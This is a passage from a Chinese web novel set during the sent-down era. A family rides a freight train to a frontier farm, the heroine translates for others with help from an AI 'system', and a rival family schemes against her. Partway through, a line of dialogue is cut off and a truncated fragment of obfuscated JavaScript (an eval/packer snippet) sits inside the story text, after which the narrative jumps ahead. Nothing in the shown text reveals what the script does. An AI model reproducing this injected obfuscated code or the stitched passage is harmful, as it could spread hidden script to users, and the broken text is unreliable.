陆父闻言忍不住有些不满的看向林晚霜,然而下一瞬,那个拿着铁皮喇叭膀大腰圆的中年男人突然出现,吓得他往后退了一步,撞在陆沉舟胸前的包上。 那个膀大腰圆的男人有一张枣红色的脸,五官生的野蛮,看起来就很很凶悍。 然而在看到小周的瞬间,声音也小了,手中的喇叭也低了,他伸手想挠头,然而还没挠上又放下,整个人显得局促不安。 他想了想,从身上掏出一方红色的纱巾,匆忙塞到她手里:“周同志,这个……这个是我在友谊商店买的。你看喜欢不。” 林晚霜眼神在小周和他之间来回打量了下,对眼前的情况有了些猜测。 她看出小周的紧张,立刻伸手戳了戳她的腰:“还不给我介绍介绍?” 小周松了一大口气,她实在是没想到这男人一出手就是这么珍贵的纱巾。 此时林晚霜给她递话,她立刻定了定神,把林晚霜拉到她身前:“姚金柱同志,这是我的好朋友小林妹子,她即将和她婆家一起去边疆下放,请你在方便的时候,尽量多照顾她一下。” 姚金柱红着脸连连点头:“好的周同学,请你尽管放心,我向伟人保证,绝对会好好照顾小林妹子!” 陆星野轻轻戳了戳陆父,低声问他:“爸,你跟他们说林晚霜做不了家里的主,咱不稀罕他们照顾。” 陆父躲开,低声警告:“别乱说话。” “那你到底要不要她做主了?”陆星野奇怪的问,“不是你说的她绝对不可以在抛头露面了吗?” 陆沉舟听着他们的对话,没有干涉,只是提醒陆星野:“要叫嫂子。” 陆父差点咬碎了牙,他又不傻现在出去说这个? 然而小儿子实在不知趣,一个劲儿的问,眼瞅着那边寒暄的几人好像注意到了要看过来,他赶紧低声说:“等到了边疆,到了边疆绝对不让她出面管事了,现在咱们还是盯紧点,应该不会出大事的。” 陆星野笑了一声,没有回应。 他现在更加坚定他哥的话才是对的了。 陆星野心里有了决断,一上车放好东西就对着林晚霜道了歉。 “嫂子,我错了,我哥说的对,你做任何事说任何话都是为了我们家好。” 陆星野在陆父不敢置信地目光中鞠了个躬:“对不起,我不该乱说话,不该撺掇你和我哥离婚。等小侄子出生了,我会帮你带好孩子,坚决不会让我爸教坏他!请你原谅我吧!” 林晚霜被他这番举动惊住,她惊讶地抬头看向一旁浅笑的男人:“这是你教的?” 男人摇了摇头:“我只是建议他道歉,星野这样有担当我也没想到。” 陆星野闻言将小胸膛刚刚挺起,完全忘了他哥叫他道歉时他有多不情愿。 陆父差点气个倒仰,他指着这三个人,喘着粗气,最后朝陆星野发难:“你刚刚在说什么?我怎么就会把孩子教坏了?会把孩子教坏的应该是林晚霜!咳咳咳……” 他气坏了,也不喊“沉舟媳妇儿”了。一句话勉强说完就开始剧咳。 林晚霜赶紧从帆布袋里掏出甘草片取了一颗递过去。 陆父接过塞进嘴里,没好气地瞪了她一眼,含服着药片。 货列上没有座椅,全是大包大包的粮食和其他货物。 见陆父安静下来,四人趁着车门还没关,赶紧找了个位置坐下来。 这里也没有窗户,等车门关上,一眼看不到头的货物足让整个车厢暗无天日。 上车前姚金柱就反反复复交代了,不能使用明火,一旦货物燃了,完全没有可以逃生的地方。 等他们坐好,车门关上,一瞬间白天变成黑夜。 陆家三人都有些反应不过来,林晚霜还好,她有小爱,此时正在认真查询这辆货列会停靠的城市和具体时间。 不知过了多久,在密闭的黑暗中,时间仿佛成了最无用的东西。 陆父有些难受,他决定要说点什么打发对黑暗和未来的恐惧。 “沉舟媳妇儿,”他斟酌着开了口,“有件事爸觉得很有必要和你聊聊。” 林晚霜把视线从小爱那边转移到陆父这里:“爸,您说。” “不不,沉舟媳妇,你做事要讲究方式方法。不可以一上来就撒谎,也不可以随便见个人就套上近乎。这是阿谀奉承。我陆家家风清正。你作为陆家长孙之母,需要时刻谨记。” 林晚霜讽刺地勾了勾唇角,但语气依旧恭谨:“好的爸。我会记住的。” 反正又不能是一辈子的父媳关系,她想的非常开,随便应就完事了。 黑暗中也看不清她的表情,只觉得她的态度不错,于是接下来语气也缓和了几分:“爸是这样想的,沉舟毕竟才是一家之主,接下来有事你也别出头了。女人家相夫教子主持家务才是正经事。” 林晚霜下意识想去看陆沉舟,嘴角笑意更浓了几分:“好的爸,都听您的。” 她态度很好,陆星野却是忍不住叫了起来:“啥事儿都让我哥上,爸你是想累死我哥吗?” 陆父急了:“兔崽子,我这是在帮你哥立威!你懂个屁。” 陆沉舟缓缓开口:“爸。如果你想当这个一家之主,我们以后都听您的。” “那怎么成?”陆父急了,他这辈子就没自己真的做过主。 或者说,他做主的前提是有人能给他兜底。 以前兜底的是陆母,陆母没了后,他自觉就把大儿子当兜底的人了。 他掌握大方向可以,拿主意和做事,他认为这不是他擅长的。 就像林晚霜这事儿,他认为他可以批判林晚霜不对,但怎么改他不能管。 陆沉舟早就知道会是这么个结果,然而当陆父真的拒绝时,他心里还是不可避免地感到失望。 “如果爸希望我当这个一家之主,那么这个家所有人所有事怎么安排,爸就不要管了。”他强忍着内心巨大的冲突感,努力使自己声音听起来平静。 和这年代的大多数人一样,他自小学的都是忠信孝悌,尽管父母再不好,也秉承天下无不是父母这一理念。 如今他能说出这些话,真的是已经忍到极致了。 然而他又不能不说,身为一个男人如果连自己的媳妇儿都不能保护好,那还谈什么顶天立地? 陆父剧烈的喘着粗气,又忍不住咳了起来。 林晚霜摸出一颗甘草片递过去却被他拍开。 甘草片落在地上,陆沉舟将它捡起,阻止她再去拿新的。 他递到陆父嘴边:“爸,要么你当家,要么你安心养老。你自己选吧。” 37. 第 37 章 火车哐当哐当晃了三天三夜,林晚霜的骨头都快被颠散了。 最后一声长鸣划破天际时,姚金柱举着他的铁皮喇叭喊了声“到站卸货!”然后拿着铁钥匙过来给他们开了车门。 阳光刺进黑暗,四人早有准备地伸手遮挡。 这三天来,每到一个可以长时间停下的站台姚金柱都会不嫌麻烦地把他们放出去透透气。 “小林妹子,”有了小周这层关系,姚金柱对上林晚霜总是会多些耐心,“这一路除了你们家,没有别的下放人员上我们这趟车。” 他凶悍的脸上此刻多了些愁容:“小林妹子,T市毕竟临近京都,一直很少有人被送到这边,你们家是不是得罪人了?” 的确是得罪人了。 但这事儿陆父和陆星野是头回才知道,陆父吓得腿脚一软,赶紧扶住车上的货箱,勉强才能站稳。 他侧着耳朵,原本就不安的心此时更是七上八下乱的不行。 “没有的事,”林晚霜笑着说,“我们主要是想,既然要建设祖国,就要到最艰苦的地方来。” 姚金柱表情未变,不知道是信了还是没信。他低声说:“你们那下放地址太偏了,我刚刚问了下车站认识的人。就算是寄信寄东西也都不方便。对不起啊小林妹子,的确是帮不到上忙了。” 林晚霜心头一沉,想起那个瘦削嶙峋的天才少年。 她突然看向姚金柱:“姚哥,你们什么时候返程?” 姚金柱愣了下,猜出她有东西要托:“货卸完了就得回。下次再来应该是一个月后了。” 林晚霜看向陆沉舟:“我想整理点东西给严敏容。你帮我写?” 陆沉舟略一思索:“就是该喊我师公那个小孩?” 林晚霜不明白他为什么会对师公这个称呼那么执着,但是小孩?严敏容不过小她两岁,该不会他把自己也当小孩吧? “是的,答应过他的,给他寄点学习资料过去,我一个人写太慢了。正好有两支笔,你和我同时写。” 于是陆星野去外面等接他们的人,陆父坐在候车厅长椅上,气呼呼地看着两人蹲地上奋笔疾书。 三天前陆沉舟问他是要当家还是要养老。他真的非常希望既养老又能对这个家有掌舵权。 只可惜陆沉舟和陆母不一样,任他磨破了嘴皮都不同意他的想法。 陆父最后无奈选择养老,保证再不插手家里的任何事。 所以哪怕他现在为儿子深深地感到不平,也丝毫没用。 所以男人千万不能娶比自己强的媳妇儿! 他从自己和陆沉舟的婚姻中再次肯定了这个观点。他决定无论如何在陆星野的婚事上,他都要积极争取,哪怕到时候只能被迫当家,他也必须给陆星野娶个和陆母类似的好女人。 “对于一个实心均匀的物体,比较其平均密度……”林晚霜手下抄着力学公式,嘴里念着阿基米德定律。 陆沉舟一边快速将她的话记录,一边暗自吃惊:传说中的一心两用!他媳妇这脑域开发的实在是太了不起了。只怕远超那个嘤国人。 小智分出两个对话框,根据她抄写和念出的情况实时翻页。 就在他们写了十几张纸之后,陆星野气喘吁吁地跑了进来:“哥!来接我们的人到了!” 陆沉舟没急着起身,他示意弟弟过来,指着长椅上散落着公式和定律的纸:“星野,这都是你嫂子整理出来的,你现在知道她多厉害了吧?” 陆星野认识的字还不多,然而这十几张密密麻麻满是字的纸的确让他感到十分震撼。 不过他想到的不是林晚霜有多厉害,而是他哥哥。 之前哥哥跟他说林晚霜一定有在认真学习他还不信,现在看来他哥果然是世界上最厉害的人。 陆星野满脸崇拜看着哥哥:“太厉害了。” 姚金柱此时也走了过来。递给林晚霜一纸袋热气腾腾的窝头:“小林妹子,红星农场那边来接人了。在门口,这次去过的知青还挺多的。我看了就一辆马车,你们得抓紧点,不然怕是行李没地方放。” 从T市过来的就他们一家不假,但从其他地方过来的人却有几十个。 否则人农场也不会特意来接人了。 林晚霜立刻向他道了谢,把十几张纸叠了起来在里面塞了张大团结递给他:“姚哥,麻烦您帮忙带到T市,请周姐寄一下,地址上面写了。这钱是买信封邮票的。” 钱直接给姚金柱他肯定不会收,而这一路他又特别照顾他们。 果然,姚金柱拿到这些脸上笑开了花。又有正当理由和小周同学说话,又能正当的给小周同学钱。他在这一刻对林晚霜的好感已然飙升了好几倍。 陆父在旁边看着,嗫嚅嘴唇想说点什么,却被儿子一个眼神封住了嘴。 他低声叨叨:“让女人爬到头上去了,真是……” 然而身体很诚实的跟着儿子一起离开了站台。 边疆很荒凉,从火车站就能看出来。 T市的火车站林晚霜还觉得小,觉得红砖显得陈旧,然而这里,连个墙都没有。只有一片铺着碎石的空地。 远处寒风凛冽,黄风卷着沙砾,把天染得灰蒙蒙的。 出了所谓的车站,脚刚沾地,就被沙子陷了小半截,走一步都费劲。 林晚霜扶着陆父艰难地往前走,在这一刻她深深体会到了防沙护林的重要性。 而他们这代人,正是防沙护林,将沙漠变成绿洲的先驱。 不远处有一辆马车,灰扑扑的马车旁已经站了四五个人。马儿不安的低着头踢踏着脚步,一个腰术草绳,头戴毡帽的老农站在车边,正被人围着说话。 陆家一行人过去先是放了包,这才打听清楚原来红星农场离这里还很远,来接他们的也不是农场的人,而是师团部找来的老农。 “走两三个小时先去师团部驻地吃个饭。那边当兵的开大车送你们去农场哩。”他口音极重,也就是此时林晚霜发现小智居然可以实时翻译。 【小智:任何语言,方言,只要宿主需要,我都能翻译成普通话。怎么样?感受到我的强大了吗?】 感受到了,初期还以为是个渣渣,越往后她越能发现它的强大。 此时看着翻译好的话,再看看旁边面部表情和手部动作一起上都还一头雾水的知青们。她由衷的感到了幸福。 既然自己幸福了,她也想顺手幸福下大家。 “这位大伯说,我们没找错。只是他不是农场派来的,师部今天有事,车都出去了。他会带我们先去师团部驻地吃饭,然后坐车去农场。”林晚霜简单的总结了一下用普通话告诉大家。 瞬时,所有人都看向了她。 陆父有些不安,他本能地认为林晚霜是在撒谎,然而那位老伯却露出如释重负的笑容。 他虽然不会说,但是他听得懂普通话。实际上如果他听不懂,师团部的战士也不可能请他跑这一趟了。 知青们还在怀疑—— “这位女同志。你说的是真的假的?” “你能听懂老伯的话?不可能吧!” “你是本地的知青吗?” 陆父急得团团转:“完了完了,我就说她一定会惹祸。” 他还拿眼睛去剜陆沉舟:“你看看你娶的媳妇儿,不安于室,哗众取宠!” 陆星野不安的看向陆沉舟叫了一声:“哥,林晚霜她真的……” “叫嫂子,”陆沉舟打断他的话,“再被我听到一次。就去罚跑5公里。” 陆父见大儿子没理他,不禁挑起眉头冷哼了一声:“她这辈子都没出过T市,她听得懂个屁!” 此言一出,知青们立刻哗然起来—— “这位女同志,听不懂就不要乱开口,万一耽误了我们去农场报道,倒是我们去知青委投诉你!” “满嘴胡言,她家里人都做证了!我看直接把她抓起来送部队,查查她是不是个碟子!” “搞了半天是乱说?那红星农场来接我们的人到底在哪儿啊!” 老伯听到这些话急得团团转,他努力想证明林晚霜说的是对的,然而他的急切却被当做是林晚霜乱说的佐证。 一时间场面乱的厉害。 站内又有出来一批人,这次居然有五六个明显是一家的。有老有少,小的才两三岁的样子。 他们过来了解了情况,立刻加入对林晚霜的围攻之中。 “我们家是下放的,要去苦水泉开荒连那边。下放有到达时间要求,你这个女娃娃心眼太坏了,是不是想害死我们一家?”一个胖嘟嘟的白净老太婆张口诉苦,她倒是没说脏字,却比脏话更厉害。 “苦水泉开荒连?”陆父眼睛一亮立刻对这家人多了几分亲近,“大妹子,我们也去苦水泉,你们家打哪儿来啊。” 老太婆看了他一眼,眼中闪过一抹嫌弃。 陆家人本来穿的就破烂,加上这三天的货列生活,现在就跟叫花子没两样。 而这家人穿的可讲究多了,里面那个年轻小姑娘还烫着时髦的大波浪呢。 但她顾及自己家现在的情况,还是努力回了个笑:“我们从海市过来,老哥家也是下放?为的什么事?” 他们两个倒是聊上了。 林晚霜看着众人群起攻之,一点都不慌。他看着那老伯问:“大伯,您这里有接人的名单吗?” 老伯这才想起还可以用这个证明自己,立刻伸手入怀。掏出张叠好的纸递给林晚霜,请她帮忙点下人。 林晚霜接过这张纸,这一下再傻的人都知道她是真的能和人家沟通。于是场面瞬间安静下来。 林晚霜展开纸张,朗声念道:“兹有红星农场,此次接知识青年共计31人,下放家庭共计9人,分别为……” 陆父听到她的声音脸色变了又变。一旁的老太婆立刻明白这就是他嘴里说的那个不安于室,抛头露面满嘴胡言的大儿媳妇了。 想到自己家一落难,媳妇儿连娃都不要,当天就登报断绝关系,她眼中闪过一丝妒色:“陆老哥你说的对,你这儿媳妇真是不太安分。” 陆父总算是找到了知音,立刻点头:“杜妹子说的对,可惜我儿子只护着她,完全听不进老人言。” 杜老太婆眼珠子转了下,看向陆沉舟。内心感叹这小伙子长的可真结实。 再回头看看自己两个十指不沾洋葱水的儿子,突然心生一计。 要是这壮实的小伙子能给他们家倒插门,那以后干活的人不就有了吗? 反正自己女儿这些年男朋友交的不少,孩子也流过两次,已经不可能有孩子了。 现在下放了她也没办法找到更好的嫁人,还不如废物利用。 至于万一平反了,平反了就离婚,反正他们家没损失。 她低头凑过去:“可惜你儿子娶了这么一个,不然你看看我闺女曹小莲,才21,高中生,成绩可好,长得漂亮,追她的人海了去。她听话的很,从不和男孩子说话,在家啥都干。我本来还想把她嫁出去,结果她非要帮大哥照顾孩子。这就给耽误了。” 陆父顺着她的视线打量过去,曹小莲发现他的目光,立刻转了身。心里暗骂一句“哪里来的穷乞丐”。 陆父见她转了身更加满意:“的确是个本分的,可惜不行。我儿媳妇再不好,她肚子里都有我陆家长孙。这话以后大妹子千万别再提了。” 他拎得清楚,儿子眼看是真不行了,不然也不会被媳妇儿拿捏成这样。 既然如此儿媳妇肚子里的孙子搞不好就是唯一一个。他再不喜欢林晚霜也不可能不要亲孙子。 杜老太婆暗道一声可惜却也不执着了。 大不了到了驻地让小莲多勾搭几个干部,他们家照样可以活的滋润无比。 有了林晚霜的翻译,知青们很快就放好了行李准备出发。 林晚霜看到马车上还可以勉强挤一个人,想了想和大家说明了陆父的情况,又拿了麦饼掰了分给大家。 众人本就因为刚刚冤枉了她有些不好意思,现在听了陆父重病初愈,又有这麦饼吃着,便毫无意见,都让陆父坐了上去。 陆父上了马车,陆沉舟又拆了床被子给他拢身上盖好。 杜老太婆那边五个人别看光鲜亮丽的很,他们吃的可是不多。 不是不想带,而是穿的太好,上车的时候被割委会开包检查了。 这一检查东西基本上全部违规。 幸好他们这一路是坐知青专列来的,曹小莲对付男人很有一手,小儿子曹小军泡妞技术也不错。加上还有个三岁的曹根宝很会扮可怜,这一路倒是没怎么饿着。 不过此时吃到居然有肉馅的麦饼,几人立刻对陆家高看了几分。 随便就能把有肉的麦饼送人,这得多豪横啊。 杜老太婆想到陆父说的儿媳妇撒谎没让开包的事,瞬间眼珠子一转,扯过小儿子低声说了几句。 “勾引怀孕的女人?不行,我不干!”曹小军觉得这太委屈自己了。 “那个陆老头傻得很,有这样的儿媳妇还不喜欢,”杜老太婆低声说,“你到时候把人娶过来把孩子弄死算完,你姐正好把陆老头大儿子勾回来倒插门。有这两个能干的人在家里头,咱们的日子保管差不了。” 她见儿子还是想不通立刻又说:“结了婚又不代表你不能再找别的女人。不弄点能耐人回来,难道你想自己干活去?” “干活”两个字一出,曹小军立刻跳了起来。 勾引个女人和干活比起来哪个更轻松他心里头明白的很,当下立刻就往前蹭。去林晚霜旁边施展美男计去了。 林晚霜有些烦了,这个莫名其妙上来就夸她人美心善的油腻男人能不能快点滚? 她给肉饼是因为她只有肉饼。再好的东西连吃四天都会腻。他们一家人现在暂时觉得热窝头比冷肉饼好吃一万倍不行吗? 陆沉舟脸上也散发着冷气,要不是陆父拼死拉着他,他早上去揍人了。 “那是你杜婶子家的小儿子,人家才19岁,眼光高的很。正常和你媳妇儿聊一聊那都是看在我的面子上。”陆父语重心长地劝他,“不是所有人都跟你一样觉得这女人好,人家主要是和咱们被分到了一个地方所以……” 陆沉舟被他闹的没办法,毕竟刚刚才让他接受了只能养老不能插手家里的事实。 然而眼见那油头粉面的骚包小子凑林晚霜越来越近。他立刻喊了声:“陆星野,有任务!” 陆星野立刻跑过来:“陆星野在。” “上去跟紧你嫂子,别让苍蝇离她太近!” 陆星野立刻去执行任务了。陆父被“苍蝇”气的捂胸:“你听听,你说的叫什么话?人家是人,不是苍蝇!你的学问都学狗肚子里去了?” 有了陆星野的搅局,麻烦很快就消失了。 他没走,跟只护主的小犬一样就守在她身边,时刻保持警惕。 “你哥让你来的?”林晚霜看的好笑。 “林晚霜,”他低声说,“离姓曹的那家人远点,我觉得他们心术不正。那个老太婆可能看上我爸了,想给我妈戴绿帽子呢。如果我发现你和他们有接触,我会咬死你的。” 林晚霜觉得不可能,那老太婆在他们拿出肉饼之前,看陆父的眼神满是嫌弃。 “又不叫嫂子了?”她揶揄地看向他。 “我哥又不在。”陆星野嘟囔了一句,“你现在还没让我想要心甘情愿的喊你嫂子,你还在我的……嗯,那什么考察期。” 她被这一本正经的语气逗笑了,不过笑完她没忘正经事:“那个老太婆对你爸应该没兴趣,但对咱们家的肉肯定有兴趣。你和你哥悄悄说一声,看好你爸,别让他啥都和人说。” 陆星野脸色一变,他爸这德行,万一人家哭两句保不齐真的会干蠢事。 想到这里他立刻就呆不住了。转身就往车边跑。 陆沉舟听完陆星野的话,脸色也非常不好。 他爸能做到不嫖不赌光靠行善就败光了陆家七代人累积下来的财富。在做善事上的确天赋异禀。 再加上他明显对那家人印象极好。保不齐真能把家底儿都送给人。 “和你嫂子说我知道了,等下我会和爸聊聊。等到了地方,东西我也会藏起来不让他看到。” 陆星野于是又跑到林晚霜跟前,继续执行赶走一切苍蝇的长期任务。 走了约莫两个多小时,已经依稀能看到围墙了。 再走近一点,还能看到有穿着军装的小孩在玩打仗游戏。 他们的身份自然是进不了驻地的,这里是随军的家属区,卫兵检查了他们的介绍信,又盘问了几句才让他们进去。 老伯和马车自然不可以进了,他把他们交接给一个小战士,又重点介绍了林晚霜,对她夸了又夸。 小战士给他们点了名,这才让他们带上行李走进去。 林晚霜扶着陆父走进家属区。 红砖青瓦的小房子在这片土地上显得是那样醒目而出众。小房子一排排的排列齐整,屋前屋后都有菜地。 随军的家属们一边干活一边聊着天,声音很大,笑声很响。她们的孩子就在周遭跑来跑去。 “沉舟要是没退伍,咱们也能住上这样的砖头房子,”陆父忍不住感概到,“现在,哎!” 林晚霜没说话,事实上她觉得无论陆沉舟退不退伍,这地方也与她没什么关系。 然而此时的她并不知道,在不远的将来她真的住进了家属区,还成为了被这些军嫂艳羡的对象。 步行了二十多分钟,终于到了他们的临时目的地——食堂。 “请各位同志在这里,”小战士大声说,“给大家准备的都是一样的饭,吃完后会有人点名带你们去红星农场。” 他说完立正敬礼,很快离去。只是在离开前,他朝着陆沉舟的方向多看了几眼。 他一走,大家立刻活跃起来,四散着找座位,打饭。 这年头就没有小鸟胃,能有的吃大家都会拼命吃。 食堂准备的主食是二米饭和三合面面条,菜是大白菜,辣椒和青菜。除此之外居然还有个蛋汤,只是每人只能打一碗,汤面稀薄的能看到点蛋丝。 吃上热乎乎的饭。每个人心里都暖暖的。 甚至杜老太婆一家人对陆家的态度都没那么热情了:如果红星农场也是这样的饭食标准,哪怕一天只有一餐是这样。杜老太婆都舍不得把两个孩子浪费给陆家,她完全可以考虑把小儿子送领导闺女去当个倒插门嘛。 刚吃着饭,就有一个穿着军绿色棉衣腰束皮带的男人走了进来。 他一进来就看到了陆沉舟,他眉毛一跳,不动声色地走了过去,挨着他坐下。 “队长,你怎么到这里来了?”男人低声问他。 “你不要靠我太近,这身衣服太高调了,”陆沉舟低声说,“我现在是坏分子,下放人员。你这样我很难办。” 男人眼中闪过一丝痛楚:“严团长回来了,就在你退伍后一个礼拜,他受了重伤,醒来知道你退伍了,当时就发了脾气,问是谁干的。然后扯到伤口又昏迷了。” 陆沉舟声音带了丝哽咽:“让老领导担心了。” “你是严团一手提拔起来的,”男人摇了摇头,“他最看好你将来接他的班。后面严团伤没好就闹到师部去了。但是师长说保密队伍,不管是什么原因,退出了就不能再进了。” “你小子知道这么多?”陆沉舟怀疑的看向他,“你也退了?” 男人点头:“退了,旧伤治不好,我这辈子也就到这里了,索性调出来给别人腾个位置。结果到了边疆,现在做个连长。” “可以,都追上我了。”陆沉舟听到他旧伤治不好时,眼中滑过伤痛,但他强行掩下,故作开心的恭贺到。 “你的连长和我的连长不是一个重量级,”男人笑了,却没继续这个话题,“旁边是你妹妹?长的真不赖,兄弟还单着呢,介绍下?” “滚犊子,那是我媳妇儿,”陆沉舟忍不住给了他一拳头,然后给他介绍,“我媳妇儿,我弟弟,我爸。” 陆父见这个当兵的走过来和陆沉舟窃窃私语了半天,早就忍不住了。此时看陆沉舟介绍到他,立刻问了起来:“首长,您和沉舟是什么关系?您在这里是什么职位?” 男人正要说话,却被陆沉舟先一步回答:“这是我以前的领导,他在这里是只个副排长。刚刚调过来,帮不了什么忙。” 男人一怔,没想到从不撒谎的陆连长现在这谎话是张口就来。但多年合作任务的默契让他立刻拿起款来:“小陆啊,我事务繁忙,你出来送送我吧。” 陆沉舟刮他一眼,应了声是。两人随后离去。 “什么情况啊?”出了食堂男人就忍不住发问,“我张墨坤这辈子也是出息了,居然给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张墨坤立刻正色看向他:“陆队,我真走了。刚刚调过来两个月,现在在负责训练新兵,你说的那个战略性语言技巧的事我会找机会汇报给严团。” “不急,安全最重要。”陆沉舟知道现在张墨坤离了队伍,想要再联系上严团非常困难。 “你下放的地址我记下了,我抽空就去看你,火车站那边我会派人留意,如果有人给托信过来。我也给你带过去。” 两人聊完。陆沉舟回到食堂吃饭。 林晚霜已经吃完了,见他回来凑到他耳边悄声说:“你刚走那个杜老太婆就过来找爸了。爸直接把你领导的事儿交了底。话说,刚刚那个其实是你以前的兵吧?” 她可没忘了陆沉舟说自己以前是连长,保密部队的连长,他的领导能在边疆做个排长? 陆沉舟也没瞒她,低声就把刚刚和张墨坤的话跟她说了一遍。 林晚霜万万没想到这里头还牵扯到她,而且居然有人盯上了她的位置,甚至可能是她的命。 她看了眼杜老太婆那边,陆父和陆星野此时也在那边。 曹家人团团围着陆父,不知道在说什么,把他哄的眉开眼笑。陆星野黑着张脸,时不时就打断一下陆父的高谈阔论。 “星野也很辛苦,”她感叹道,“其实你们真的不容易,爸妈也不是坏人。” 她现在甚至觉得陆沉舟还不如前世的她,至少她家人坏的明明白白,除了被法律限制她不得不对他们进行赡养,别的时候她只要多想想家人的行径就能狠下心不去多管他们。 而陆沉舟呢? 他本来就深受孝道的影响,再加上陆父陆母又没真的做出什么让他能狠心不管的事。甚至,他们在很多人心中都有非常好的口碑。就连陆沉舟提起他们做的事也做不到全盘否认。 所以他只能一边做儿子,一边做家长。 “就不能和曹家的人分开?我们换个地方,哪怕更苦一点?”她忍不住替他想办法。 “我们只是普通的下放人员,不能做这种事,”陆沉舟摇了摇头,“再说了,就我爸那个情况,没有曹家还有李家王家。倒不如把危险控制在能掌控的范围。至少曹家这些人,没什么武力值。” 陆父这个情况的确让人头疼,林晚霜想了想也认可了:“我们还是平时多注意点吧。尽可能不要单独行动。” 两人还没说完,食堂又进来人了。 三个人,打头的一个和张墨坤一样的装束,腰上多了一把配枪。身后两个穿着普通战士的衣服,手中各拿着一把长枪。 他们一进来,食堂里就安静了下来。 打头的那个把军绿色的毡帽一摘,大声说道:“我是红星农场苦水泉开荒连连长赵铁柱,车在外头还没熄火,下面念到名字的人麻溜儿跟我走。” “H县河水镇知青周平安同志……海市安庆县杜枝花,曹大军,曹小军,曹小莲,曹根宝同志……T县陆振华,陆沉舟,陆星野,林晚霜同志。听到名字的17个人,麻溜儿出门上车!” 早在听到苦水泉开荒连的时候,陆沉舟就已经背好包了。陆父也被陆星野带了回来。 此时听到让走,陆父就不乐意了:“你说过来干嘛,我和你杜婶他们一起不就行了?” 也不知道陆星野刚刚遭遇了什么,现在火气大的很,听到陆父的话他张口就道:“爸,你要么直接去给杜婶倒插门吧。别回我们陆家了。” “你个逆子,我和杜枝花同志清清白白,问心无愧!”陆父脸涨的通红,梗着脖子声辩道。 现在大家都在往外走,哪有人能空着和他闹嘴? 他就嘟嘟囔囔的满嘴“清白”“纯洁”自己杵着棍子跟着往外走。 陆沉舟听他嘟囔的起劲,倒是多看了他一眼,心里头隐约有了点别的想法。 门口停着辆军用大卡,车斗里铺着干草。 车斗离地面约有半人高。到了车边上的几个知青一时间都麻了爪。 行李扔的上去,人怎么办? 赵铁柱连长带着两个兵站旁边一脸看热闹的表情。他这是压根儿就不想帮忙。 曹家几个人也过来了。一看这情况,除了曹小军,其他人也都没了主意。 陆沉舟过来,看到这情景眸光一闪。把手中的被子卷往车斗里一扔。往后退了几步,一个起跳,轻跃起来,用手在车斗轻轻一撑。便落到了里头。 整个过程如行云流水,只在几秒内完成。一旁正准备看好戏的赵铁柱连长嘴长的老大,脸上全是不可思议。 “连,连长,”他身后的兵张目结舌,“那还是个人吗?” 他们是来给人下马威的,现在怎么被人给了下马威? 陆沉舟把身上的包卸下,一个轻跃又到了地上。 他也没说话,抱起陆星野又跳了进去。 等他用陆星野试过抱人该怎么跳时,他便下了车,很快依次将林晚霜和陆父都送上了车。 曹小莲看的目不转睛,她低声和杜枝花说:“妈,你说的事我同意了,这男人一看体力就好。” 眼见着陆沉舟一人把全家都送了上去。赵铁柱再也忍不住了:“快把车门打开,这特么的没法玩了。” 出师不利,遇到个狠人。但他因此也对今年过来的这些人多了几分好感。 总算不全是软脚虾了,就是不知道这人是要去哪个地方。 不过,他也懒得查了,等卡车车门打开,他立刻翻身上去,来找陆沉舟了。 陆沉舟等的就是他,否则他也没必要出刚刚那个风头。 既然已经被人盯上了,无法低调,那他就只能木秀于林。至于风摧不摧的。先打得过他再说吧。 赵铁柱朝他走过来,上下打量着他:“哥们,以前哪个部队的?” 这气质,这身手,他不信对方没点来历。 陆沉舟目光一闪:“以前跟张墨坤混。” 赵铁柱立刻不问了,他这个级别有些事还是知道点的。比如他们军区师部从某个不可说的部队下来了一个厉害的角色。 不过既然是跟那样的人混的,现在怎么就这样了? 陆沉舟也不隐瞒:“家庭成分不好,下放了。” 赵铁柱立刻明白这里头有他不能问的事,那种部队哪怕只是个普通人,也绝对不可能因为家庭成分就退伍。 他心里对陆沉舟的想法立刻就淡了些。 看出来他情绪的转变,林晚霜对他伸出了手:“赵连长好,我是陆沉舟的爱人林晚霜,同时也是一个小作家。” 陆父立刻急了,这遭瘟的儿媳妇又开始撒谎骗人了。完了,他们不会被发现,然后拉出去批斗游街吧。 真倒霉,这遭瘟的儿媳妇就不能闭嘴吗? 赵铁柱连长已经伸手握了上去:“林同志好,欢迎林同志来到红星农场。不知道林同志主要给哪个报刊供稿?” 林晚霜丝毫不惧:“以前因为见识有限,只能给T市的小报写点诗歌。现在有机会来到边疆,我想要把自己看到的,经历的一切都转化成文字,让全国人民都看到我们边疆子弟兵和劳动人民的风采。我接下来想挑战《人民日报》的纪实文学。只是不知道我们去到开荒团是否方便寄投稿信。” 赵铁柱眼中精光连连,居然来了个会玩笔杆子的?这对他们的宣传工作无疑是一个极大的助力。 但是之前知青也来了不少,也有自称会写东西的。面前这个年轻女人,即使有她丈夫背书,她真的能写出好东西吗? 林晚霜早有准备,她看着小爱帮她写的诗歌。它写的诗歌无疑是没有灵魂的,但应付下眼前的场景肯定是够了。 此时卡车门来了,要去红星农场的人都在往车上爬。 林晚霜突然站起身,清了清嗓子:“我们是大地最忠诚的铆钉,将时代铆进燃烧的地平线。看那!每双布满硬茧的手掌,都托举着永不降落的星辰。” “好!”有人忍不住鼓掌,继而掌声带动了更多人。 赵铁柱看向林晚霜的目光神采奕奕:“好诗!听着就提气,我会和开荒团的王光明排长交代,让他全力支持林同志写出振奋人心的好文章,投稿《人民日报》!” 陆父一口大气终于是出来了,他把手上的冷汗抹到裤子上,不明白这林晚霜怎么撒个谎又给她把事情办成了。 杜枝花一家此时也早已上了车,看到眼前的一幕立刻戳了小儿子一下:“人家动动嘴皮,就和连长套上近乎。这就叫能耐,一个家只有多几个这样的人,才能飞黄腾达!” 曹小军鼻子疯狂煽动,眼睛一眨不眨盯着林晚霜:“妈说的对,这媳妇儿我是要定了。” 38. 第 38 章 卡车发动起来,颠簸得比火车还厉害,车斗里原本不太多的干草顺着缝隙簌簌往下掉。 林晚霜下意识地往陆父身边靠了靠,替他挡住侧面来的风。 对面看到这一幕的杜枝花险些咬碎一口老牙:陆振华这个糟老头子命真好!大儿子一看就有本事,小儿子猴精,儿媳妇又有本事又孝顺。 他凭什么? 明明自己比陆振华强那么多,结果儿孙都不成器。 